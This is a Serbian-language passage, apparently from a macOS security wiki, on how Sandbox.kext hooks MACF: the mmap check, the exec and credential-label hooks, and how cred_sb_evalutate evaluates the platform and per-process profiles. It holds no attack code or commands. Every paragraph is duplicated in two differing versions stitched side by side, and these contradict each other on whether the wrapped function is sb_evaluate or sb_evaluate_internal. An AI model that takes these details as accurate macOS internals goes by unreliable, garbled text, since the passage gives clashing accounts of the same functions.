**`Sandbox.kext`** koristi više od stotinu hook-ova putem MACF. Većina hook-ova će samo proveriti neke trivijalne slučajeve koji omogućavaju izvršenje akcije, ako ne, pozvaće **`cred_sb_evalutate`** sa **akreditivima** iz MACF i brojem koji odgovara **operaciji** koja treba da se izvrši i **baferom** za izlaz. **`Sandbox.kext`** koristi više od stotinu hookova putem MACF. Većina hookova će samo proveriti neke trivijalne slučajeve koji omogućavaju izvršenje akcije, ako ne, pozvaće **`cred_sb_evalutate`** sa **akreditivima** iz MACF i brojem koji odgovara **operaciji** koja treba da se izvrši i **baferom** za izlaz.
Dobar primer toga je funkcija **`_mpo_file_check_mmap`** koja hook-uje **`mmap`** i koja će početi da proverava da li nova memorija može biti zapisiva (i ako ne, dozvoliti izvršenje), zatim će proveriti da li se koristi za dyld deljenu keš memoriju i ako je tako, dozvoliti izvršenje, i na kraju će pozvati **`cred_sb_evalutate`** da izvrši dalja provere dozvola. Dobar primer toga je funkcija **`_mpo_file_check_mmap`** koja hookuje **`mmap`** i koja će početi da proverava da li nova memorija može biti zapisiva (i ako ne, dozvoliti izvršenje), zatim će proveriti da li se koristi za dyld deljenu keš memoriju i ako je tako, dozvoliti izvršenje, i na kraju će pozvati **`sb_evaluate_internal`** (ili jedan od njegovih obavijača) da izvrši dalja provere dozvola.
Pored toga, od stotina hook-ova koje Sandbox koristi, postoje 3 koja su posebno zanimljiva: Pored toga, od stotina hookova koje Sandbox koristi, postoje 3 koja su posebno zanimljiva:
* `mpo_proc_check_for`: Primeni profil ako je potrebno i ako prethodno nije primenjen. * `mpo_proc_check_for`: Primeni profil ako je potrebno i ako prethodno nije primenjen.
* `mpo_vnode_check_exec`: Poziva se kada proces učita povezanu binarnu datoteku, zatim se vrši provera profila i takođe provera koja zabranjuje SUID/SGID izvršenja. * `mpo_vnode_check_exec`: Poziva se kada proces učita povezanu binarnu datoteku, zatim se vrši provera profila i takođe provera koja zabranjuje SUID/SGID izvršenja.
* `mpo_cred_label_update_execve`: Ovo se poziva kada se dodeljuje oznaka. Ovo je najduže jer se poziva kada je bina potpuno učitana, ali još nije izvršena. Izvršiće akcije kao što su kreiranje sandbox objekta, povezivanje sandbox strukture sa kauth akreditivima, uklanjanje pristupa mach portovima... * `mpo_cred_label_update_execve`: Ovo se poziva kada se dodeljuje oznaka. Ovo je najduže jer se poziva kada je bina potpuno učitana, ali još nije izvršena. Izvršiće akcije kao što su kreiranje sandbox objekta, povezivanje sandbox strukture sa kauth akreditivima, uklanjanje pristupa mach portovima...
Napomena: **`cred_sb_evalutate`** je obavijač preko **`sb_evaluate`** i ova funkcija uzima akreditive koji su prosleđeni i zatim vrši evaluaciju koristeći **`eval`** funkciju koja obično evaluira **platformski profil** koji se po defaultu primenjuje na sve procese, a zatim **specifični procesni profil**. Napomena: platformski profil je jedan od glavnih komponenti **SIP** u macOS-u. Napomena: **`_cred_sb_evalutate`** je obavijač nad **`sb_evaluate_internal`** i ova funkcija uzima akreditive koji su prosleđeni i zatim vrši evaluaciju koristeći **`eval`** funkciju koja obično evaluira **platformski profil** koji se po defaultu primenjuje na sve procese, a zatim **specifični procesni profil**. Napomena: platformski profil je jedna od glavnih komponenti **SIP** u macOS.
## Sandboxd ## Sandboxd